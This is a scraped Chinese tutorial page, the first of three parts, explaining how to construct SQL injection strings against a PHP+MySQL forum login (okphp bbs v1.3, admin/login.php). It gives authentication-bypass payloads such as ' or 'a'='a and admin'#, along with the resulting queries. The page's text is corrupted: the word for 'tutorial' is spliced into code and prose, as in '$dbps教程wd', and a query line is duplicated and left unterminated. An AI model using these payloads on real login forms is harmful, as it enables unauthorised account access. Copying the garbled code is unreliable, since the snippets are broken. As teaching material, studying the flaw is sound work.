Home  >  Article  >  Backend Development  >  详细讲解关于sql注入方法 (1/3)_PHP教程

详细讲解关于sql注入方法 (1/3)_PHP教程

WBOY
WBOYOriginal
2016-07-13 17:09:39975browse

由于php教程和mysql教程本身得原因,php+mysql的注射要比asp教程困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对okphp bbs v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
  声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。
二.“漏洞”分析:
  1.admin/login.php注射导致绕过身份验证漏洞:
  代码:
  
代码

  $conn=sql_connect($dbhost, $dbuser, $dbps教程wd, $dbname);  $password = md5($password);  $q = "select id,group_id from $user_table where username='$username' and password='$password'";  $res = sql_query($q,$conn);  $row = sql_fetch_row($res);  $q = "select id,group_id from $user_table where username='$username' and password='$password'
 

  中
  $username 和 $password 没过滤,很容易就绕过。(php100中文网)
  对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
  构造1(利用逻辑运算):$username=' or 'a'='a $password=' or 'a'='a

  相当于sql语句:

select * from $user_table where username='' or 'a'='a' and password='' or 'a'='a'


 

  构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)

  即: 

select * from $user_table where username='admin'#' and password='$password'
  相当于:

select * from $user_table where username='admin'


 

  在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:

  select id,group_id from $user_table where username='admin'#' and password='$password'"

  相当于: 

select id,group_id from $user_table where username='admin'


 

1 2 3

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/629723.htmlTechArticle由于php教程和mysql教程本身得原因,php+mysql的注射要比asp教程困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对okphp bbs v1.3一...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn